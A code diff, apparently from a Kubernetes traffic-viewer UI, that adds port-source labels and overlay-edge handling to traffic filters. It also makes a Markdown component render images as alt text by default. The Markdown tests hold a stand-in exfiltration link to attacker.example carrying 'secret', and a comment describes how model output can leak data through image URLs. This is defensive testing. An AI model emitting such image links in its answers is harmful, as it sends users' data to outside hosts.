import { dataByProtocol, protocolsOf, totalDataByProtocol, rateWindowSeconds, throughputLabel, protocolName, matchesStatusRanges, bucketsFromCounts, bucketsFromStatus, isRateBasedSource, keepAvailable, effectiveThreshold, volumeUnit, isExternalKind, isPolicyDropReason, requestRateOf, errorRateOf, formatRate, displayVolume, groupAddonFlows, mergeFlowVolume, dedupeHTTPPairs, coverageLabel, latencyWeightOf, endpointPair, selectionRawPairs, mergeRawPairs, graphEndpoint, graphSize, parseFocus, focusParam, focusId, touchesFocus, focusNeighborhood, endpointSummaries, searchEndpoints, namespaceSummaries, namespaceOverBudget, hasStatusData, connectionRows, selectionMatch, edgeCarriesPort, edgesOnPort, mergedEdgePort, mergeEdgePortInto, portLabel, selectedEdgeMatcher, verdictChoices, warningRetries, warningBannerTitle, emptyWarningHeadline, protocolLabel, type GraphFlow } from './trafficFilters'
|
|
4
4
|
|
|
5
5
|
describe('matchesStatusRanges', () => {
|
|
6
6
|
it('does not filter when nothing is selected', () => {
|
|
@@ -885,3 +885,53 @@ describe('throughputLabel', () => {
|
|
|
885
885
|
expect(throughputLabel({ ...base, bytesByProtocol: { tcp: { bytesSent: 0, bytesRecv: 0 } } }, 60)).toBe('')
|
|
886
886
|
})
|
|
887
887
|
})
|
|
888
|
+
|
|
889
|
+
describe('portLabel', () => {
|
|
890
|
+
it('marks a port taken from a Service', () => {
|
|
891
|
+
expect(portLabel(5432, 'service')).toBe('5432 (from Service)')
|
|
892
|
+
expect(portLabel(0, 'serviceMultiple')).toBe('multiple (from Service)')
|
|
893
|
+
expect(portLabel(80)).toBe('80')
|
|
894
|
+
expect(portLabel(0)).toBeNull()
|
|
895
|
+
})
|
|
896
|
+
})
|
|
897
|
+
|
|
898
|
+
describe('mergeEdgePortInto', () => {
|
|
899
|
+
const merge = (a: { port: number; portSource?: 'service' | 'serviceMultiple' }, b: typeof a) => {
|
|
900
|
+
const into = { ...a }
|
|
901
|
+
mergeEdgePortInto(into, b)
|
|
902
|
+
return into
|
|
903
|
+
}
|
|
904
|
+
it('keeps the marking of the port it shows', () => {
|
|
905
|
+
expect(merge({ port: 0 }, { port: 5432, portSource: 'service' })).toEqual({ port: 5432, portSource: 'service' })
|
|
906
|
+
expect(merge({ port: 9000, portSource: 'service' }, { port: 80 })).toEqual({ port: 80, portSource: undefined })
|
|
907
|
+
expect(merge({ port: 80 }, { port: 9000, portSource: 'service' })).toEqual({ port: 80 })
|
|
908
|
+
})
|
|
909
|
+
it('lets an observed port outrank the same number from a Service', () => {
|
|
910
|
+
expect(merge({ port: 80, portSource: 'service' }, { port: 80 })).toEqual({ port: 80, portSource: undefined })
|
|
911
|
+
})
|
|
912
|
+
it('keeps "multiple" when no part has a port', () => {
|
|
913
|
+
expect(merge({ port: 0 }, { port: 0, portSource: 'serviceMultiple' })).toEqual({ port: 0, portSource: 'serviceMultiple' })
|
|
914
|
+
expect(merge({ port: 0, portSource: 'serviceMultiple' }, { port: 0 })).toEqual({ port: 0, portSource: 'serviceMultiple' })
|
|
915
|
+
})
|
|
916
|
+
})
|
|
917
|
+
|
|
918
|
+
describe('likely-overlay edges in a selection', () => {
|
|
919
|
+
const tcp: AggregatedFlow = {
|
|
920
|
+
source: { namespace: '', name: 'node-a', kind: 'Pod' }, destination: { namespace: '', name: 'node-b', kind: 'Pod' },
|
|
921
|
+
protocol: 'tcp', port: 0, flowCount: 1, bytesSent: 0, bytesRecv: 0, connections: 0, lastSeen: '',
|
|
922
|
+
}
|
|
923
|
+
const overlay: AggregatedFlow = { ...tcp, protocol: 'udp', likelyOverlay: true }
|
|
924
|
+
const flows: GraphFlow[] = [tcp, overlay].map(f => ({ ...f, rawPairs: [endpointPair(f)] }))
|
|
925
|
+
|
|
926
|
+
it('selects the edge the user clicked, not the other traffic between the two nodes', () => {
|
|
927
|
+
expect(selectionRawPairs(flows, { type: 'edge', sourceId: 'node-a', destId: 'node-b', port: 0 })).toEqual([endpointPair(tcp)])
|
|
928
|
+
expect(selectionRawPairs(flows, { type: 'edge', sourceId: 'node-a', destId: 'node-b', port: 0, likelyOverlay: true })).toEqual([endpointPair(overlay)])
|
|
929
|
+
})
|
|
930
|
+
|
|
931
|
+
it('keeps overlay records off the other edge', () => {
|
|
932
|
+
const on = selectedEdgeMatcher([endpointPair(tcp)], true, e => e)
|
|
933
|
+
const record = (f: AggregatedFlow) => ({ ...f, lastSeen: '2025-01-01T00:00:00Z' }) as unknown as TrafficFlow
|
|
934
|
+
expect(on(record(tcp))).toBe(true)
|
|
935
|
+
expect(on(record(overlay))).toBe(false)
|
|
936
|
+
})
|
|
937
|
+
})
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import { formatBytes } from '@skyhook-io/k8s-ui/utils/format'
|
|
2
|
-
import type { AggregatedFlow, TrafficFlow, TrafficWarningKind } from '../../types'
|
|
2
|
+
import type { AggregatedFlow, TrafficFlow, TrafficPortSource, TrafficWarningKind } from '../../types'
|
|
3
3
|
import type { TrafficEndpointPair, TrafficEndpointRef, TrafficMatch } from '../../api/traffic'
|
|
4
4
|
import type { TrafficGraphSelection } from './TrafficGraph'
|
|
5
5
|
|
|
@@ -415,6 +415,33 @@ export function mergedEdgePort(a: number, b: number): number {
|
|
|
415
415
|
return Math.min(a, b)
|
|
416
416
|
}
|
|
417
417
|
|
|
418
|
+
/**
|
|
419
|
+
* The port as text, or null when there is none to show. A port taken from the
|
|
420
|
+
* destination's Services is declared, not observed, so it always says so.
|
|
421
|
+
*/
|
|
422
|
+
export function portLabel(port: number, portSource?: TrafficPortSource): string | null {
|
|
423
|
+
if (portSource === 'serviceMultiple') return 'multiple (from Service)'
|
|
424
|
+
if (port <= 0) return null
|
|
425
|
+
return portSource === 'service' ? `${port} (from Service)` : String(port)
|
|
426
|
+
}
|
|
427
|
+
|
|
428
|
+
/** mergedEdgePort, keeping the shown port's marking with it. An observed port
|
|
429
|
+
* outranks the same number taken from a Service. */
|
|
430
|
+
export function mergeEdgePortInto(
|
|
431
|
+
into: { port: number; portSource?: TrafficPortSource },
|
|
432
|
+
from: { port: number; portSource?: TrafficPortSource },
|
|
433
|
+
): void {
|
|
434
|
+
const port = mergedEdgePort(into.port, from.port)
|
|
435
|
+
if (port === 0) {
|
|
436
|
+
if (from.portSource) into.portSource = from.portSource
|
|
437
|
+
} else if (port !== into.port) {
|
|
438
|
+
into.portSource = from.portSource
|
|
439
|
+
} else if (port === from.port && !from.portSource) {
|
|
440
|
+
into.portSource = undefined
|
|
441
|
+
}
|
|
442
|
+
into.port = port
|
|
443
|
+
}
|
|
444
|
+
|
|
418
445
|
/**
|
|
419
446
|
* Whether an edge carries a port: its own, or one of the edges merged into it.
|
|
420
447
|
* A merged edge shows one of its ports, so a selection made on another must
|
|
@@ -452,6 +479,7 @@ export function endpointPair(flow: AggregatedFlow): TrafficEndpointPair {
|
|
|
452
479
|
destination: ref(flow.destination),
|
|
453
480
|
port: flow.port,
|
|
454
481
|
...(flow.directionUnknown && { directionUnknown: true }),
|
|
482
|
+
...(flow.likelyOverlay && { likelyOverlay: true }),
|
|
455
483
|
}
|
|
456
484
|
}
|
|
457
485
|
|
|
@@ -475,11 +503,11 @@ export function groupAddonFlows(flows: GraphFlow[], isAddon: (name: string, name
|
|
|
475
503
|
connections: 0, bytesSent: 0, bytesRecv: 0, flowCount: 0, lastSeen: flow.lastSeen,
|
|
476
504
|
source: { name: 'addon-internet', namespace: '', kind: 'AddonInternet' },
|
|
477
505
|
destination: { name: 'addon-group-target', namespace: '', kind: 'AddonGroupTarget' },
|
|
478
|
-
protocol: flow.protocol, port: flow.port, l7Protocol: flow.l7Protocol,
|
|
506
|
+
protocol: flow.protocol, port: flow.port, portSource: flow.portSource, l7Protocol: flow.l7Protocol,
|
|
479
507
|
rawPairs: [],
|
|
480
508
|
}
|
|
481
509
|
}
|
|
482
|
-
|
|
510
|
+
mergeEdgePortInto(internet, flow)
|
|
483
511
|
if (internet.protocol !== flow.protocol) internet.protocol = 'mixed'
|
|
484
512
|
if (internet.l7Protocol !== flow.l7Protocol) internet.l7Protocol = 'mixed'
|
|
485
513
|
mergeFlowVolume(internet, flow)
|
|
@@ -492,11 +520,11 @@ export function groupAddonFlows(flows: GraphFlow[], isAddon: (name: string, name
|
|
|
492
520
|
connections: 0, bytesSent: 0, bytesRecv: 0, flowCount: 0, lastSeen: flow.lastSeen,
|
|
493
521
|
source: { name: 'addon-group-source', namespace: '', kind: 'AddonGroupSource' },
|
|
494
522
|
destination: { name: 'kubernetes', namespace: 'default', kind: 'Service' },
|
|
495
|
-
protocol: flow.protocol, port: flow.port, l7Protocol: flow.l7Protocol,
|
|
523
|
+
protocol: flow.protocol, port: flow.port, portSource: flow.portSource, l7Protocol: flow.l7Protocol,
|
|
496
524
|
rawPairs: [],
|
|
497
525
|
}
|
|
498
526
|
}
|
|
499
|
-
|
|
527
|
+
mergeEdgePortInto(kubernetes, flow)
|
|
500
528
|
if (kubernetes.protocol !== flow.protocol) kubernetes.protocol = 'mixed'
|
|
501
529
|
if (kubernetes.l7Protocol !== flow.l7Protocol) kubernetes.l7Protocol = 'mixed'
|
|
502
530
|
mergeFlowVolume(kubernetes, flow)
|
|
@@ -532,8 +560,8 @@ export function graphEndpointId(e: { namespace?: string; name: string }): string
|
|
|
532
560
|
return e.namespace ? `${e.namespace}/${e.name}` : e.name
|
|
533
561
|
}
|
|
534
562
|
|
|
535
|
-
export function pairKey(source: { namespace?: string; name: string }, destination: { namespace?: string; name: string }, port: number, directionUnknown?: boolean): string {
|
|
536
|
-
return `${graphEndpointId(source)}->${graphEndpointId(destination)}:${port}${directionUnknown ? ':u' : ''}`
|
|
563
|
+
export function pairKey(source: { namespace?: string; name: string }, destination: { namespace?: string; name: string }, port: number, directionUnknown?: boolean, likelyOverlay?: boolean): string {
|
|
564
|
+
return `${graphEndpointId(source)}->${graphEndpointId(destination)}:${port}${directionUnknown ? ':u' : ''}${likelyOverlay ? ':v' : ''}`
|
|
537
565
|
}
|
|
538
566
|
|
|
539
567
|
/**
|
|
@@ -550,12 +578,12 @@ export function selectedEdgeMatcher(
|
|
|
550
578
|
drawn: (e: TrafficFlow['source']) => { namespace?: string; name: string },
|
|
551
579
|
): (f: TrafficFlow) => boolean {
|
|
552
580
|
if (!pairs) return () => true
|
|
553
|
-
const keys = new Set(pairs.map(p => pairKey(p.source, p.destination, p.port, p.directionUnknown)))
|
|
581
|
+
const keys = new Set(pairs.map(p => pairKey(p.source, p.destination, p.port, p.directionUnknown, p.likelyOverlay)))
|
|
554
582
|
const callers = responsesCallerOriented ? null : new Set(pairs.map(p => `${graphEndpointId(p.source)}->${graphEndpointId(p.destination)}`))
|
|
555
583
|
return f => {
|
|
556
584
|
const src = drawn(f.source)
|
|
557
585
|
const dst = drawn(f.destination)
|
|
558
|
-
if (keys.has(pairKey(src, dst, f.port, f.directionUnknown))) return true
|
|
586
|
+
if (keys.has(pairKey(src, dst, f.port, f.directionUnknown, f.likelyOverlay))) return true
|
|
559
587
|
// The response travels callee to caller: reversed, it is the edge's.
|
|
560
588
|
return !!callers && f.l7Protocol === 'HTTP' && f.l7Type === 'RESPONSE' &&
|
|
561
589
|
callers.has(`${graphEndpointId(dst)}->${graphEndpointId(src)}`)
|
|
@@ -584,14 +612,14 @@ export function selectionRawPairs(
|
|
|
584
612
|
return selection.type === 'node'
|
|
585
613
|
? sourceId === selection.nodeId || destId === selection.nodeId
|
|
586
614
|
: sourceId === selection.sourceId && destId === selection.destId &&
|
|
587
|
-
!!flow.directionUnknown === !!selection.directionUnknown
|
|
615
|
+
!!flow.directionUnknown === !!selection.directionUnknown && !!flow.likelyOverlay === !!selection.likelyOverlay
|
|
588
616
|
})
|
|
589
617
|
// An edge stands for its port; an edge merged from several ports shows one
|
|
590
618
|
// of them and carries the rest (edgesOnPort).
|
|
591
619
|
const selected = selection.type === 'node' ? touching : edgesOnPort(touching, f => f, selection.port)
|
|
592
620
|
for (const flow of selected) {
|
|
593
621
|
for (const pair of flow.rawPairs ?? []) {
|
|
594
|
-
pairs.set(pairKey(pair.source, pair.destination, pair.port, pair.directionUnknown), pair)
|
|
622
|
+
pairs.set(pairKey(pair.source, pair.destination, pair.port, pair.directionUnknown, pair.likelyOverlay), pair)
|
|
595
623
|
}
|
|
596
624
|
}
|
|
597
625
|
if (pairs.size === 0) return null
|
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
// @vitest-environment jsdom
|
|
2
2
|
import { act } from 'react'
|
|
3
3
|
import { createRoot, type Root } from 'react-dom/client'
|
|
4
|
+
import { renderToStaticMarkup } from 'react-dom/server'
|
|
4
5
|
import { afterEach, beforeEach, describe, expect, it } from 'vitest'
|
|
5
6
|
import { Markdown } from './Markdown'
|
|
6
7
|
|
|
@@ -62,4 +63,40 @@ describe('Markdown', () => {
|
|
|
62
63
|
expect(labels).toContain('b:kubectl describe pod x')
|
|
63
64
|
expect(labels.some((l) => l?.startsWith('a:'))).toBe(false)
|
|
64
65
|
})
|
|
66
|
+
|
|
67
|
+
// Text from a model or a cluster can carry an image whose URL holds the data
|
|
68
|
+
// around it; rendering it as <img> makes the browser send that data out.
|
|
69
|
+
describe('images', () => {
|
|
70
|
+
const EXFIL = [
|
|
71
|
+
'Inline  here.',
|
|
72
|
+
'Reference ![status][r] here.\n\n[r]: https://attacker.example/r?d=secret',
|
|
73
|
+
'Linked [](https://example.com/docs)',
|
|
74
|
+
'No alt ',
|
|
75
|
+
].join('\n\n')
|
|
76
|
+
|
|
77
|
+
it('shows alt text instead of loading the image', () => {
|
|
78
|
+
act(() => root.render(<Markdown>{EXFIL}</Markdown>))
|
|
79
|
+
expect(container.querySelector('img')).toBeNull()
|
|
80
|
+
expect(container.innerHTML).not.toContain('attacker.example')
|
|
81
|
+
expect(container.textContent).toContain('Inline status here.')
|
|
82
|
+
expect(container.textContent).toContain('Reference status here.')
|
|
83
|
+
// The enclosing link stays a link; only its image becomes text.
|
|
84
|
+
expect(container.querySelector('a')?.textContent).toBe('status')
|
|
85
|
+
})
|
|
86
|
+
|
|
87
|
+
it('emits no image or preload when server-rendered', () => {
|
|
88
|
+
const html = renderToStaticMarkup(<Markdown>{EXFIL}</Markdown>)
|
|
89
|
+
expect(html).not.toContain('<img')
|
|
90
|
+
expect(html).not.toContain('preload')
|
|
91
|
+
expect(html).not.toContain('attacker.example')
|
|
92
|
+
})
|
|
93
|
+
|
|
94
|
+
it('renders images when the caller allows them', () => {
|
|
95
|
+
act(() => root.render(<Markdown allowImages>{''}</Markdown>))
|
|
96
|
+
const img = container.querySelector('img')
|
|
97
|
+
expect(img?.getAttribute('src')).toBe('https://img.example/b.svg')
|
|
98
|
+
expect(img?.getAttribute('alt')).toBe('badge')
|
|
99
|
+
expect(img?.getAttribute('referrerpolicy')).toBe('no-referrer')
|
|
100
|
+
})
|
|
101
|
+
})
|
|
65
102
|
})
|
|
@@ -13,6 +13,14 @@ interface MarkdownHooks {
|
|
|
13
13
|
*/
|
|
14
14
|
linkRenderer?: (href: string | undefined, children: ReactNode) => ReactNode | null
|
|
15
15
|
codeActions?: (code: string) => ReactNode
|
|
16
|
+
/**
|
|
17
|
+
* Render markdown images as images. Off by default: text from a model or a
|
|
18
|
+
* cluster can carry an image whose URL holds the data around it, and the
|
|
19
|
+
* browser would fetch it as soon as the answer renders. Off, an image shows
|
|
20
|
+
* as its alt text. Turn it on only for content whose author is trusted to
|
|
21
|
+
* load remote images, such as a Helm chart README.
|
|
22
|
+
*/
|
|
23
|
+
allowImages?: boolean
|
|
16
24
|
}
|
|
17
25
|
|
|
18
26
|
interface MarkdownProps extends MarkdownHooks {
|
|
@@ -59,6 +67,11 @@ const COMPONENTS: Components = {
|
|
|
59
67
|
</a>
|
|
60
68
|
)
|
|
61
69
|
},
|
|
70
|
+
img: function MarkdownImage({ src, alt }) {
|
|
71
|
+
const { allowImages } = useContext(MarkdownHooksContext)
|
|
72
|
+
if (!allowImages) return alt ? <span>{alt}</span> : null
|
|
73
|
+
return <img src={src} alt={alt ?? ''} loading="lazy" referrerPolicy="no-referrer" className="inline max-w-full" />
|
|
74
|
+
},
|
|
62
75
|
ul: ({ children }) => (
|
|
63
76
|
<ul className="list-disc list-outside pl-4 my-2 space-y-1 text-theme-text-secondary">{children}</ul>
|
|
64
77
|
),
|
|
@@ -150,8 +163,8 @@ const COMPONENTS: Components = {
|
|
|
150
163
|
),
|
|
151
164
|
}
|
|
152
165
|
|
|
153
|
-
export function Markdown({ children, className, linkRenderer, codeActions }: MarkdownProps) {
|
|
154
|
-
const hooks = useMemo(() => ({ linkRenderer, codeActions }), [linkRenderer, codeActions])
|
|
166
|
+
export function Markdown({ children, className, linkRenderer, codeActions, allowImages }: MarkdownProps) {
|
|
167
|
+
const hooks = useMemo(() => ({ linkRenderer, codeActions, allowImages }), [linkRenderer, codeActions, allowImages])
|
|
155
168
|
return (
|
|
156
169
|
<div className={clsx('markdown-content', className)}>
|
|
157
170
|
<MarkdownHooksContext.Provider value={hooks}>
|